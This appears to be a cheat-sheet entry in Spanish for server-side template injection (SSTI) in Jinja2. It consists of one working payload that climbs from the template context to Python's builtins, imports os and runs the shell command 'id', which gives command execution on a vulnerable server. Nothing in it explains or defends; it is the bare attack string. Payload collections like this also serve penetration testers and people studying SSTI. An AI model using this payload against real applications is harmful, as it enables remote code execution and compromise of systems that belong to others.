SSTI

Ejecución de comandos jinja2

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}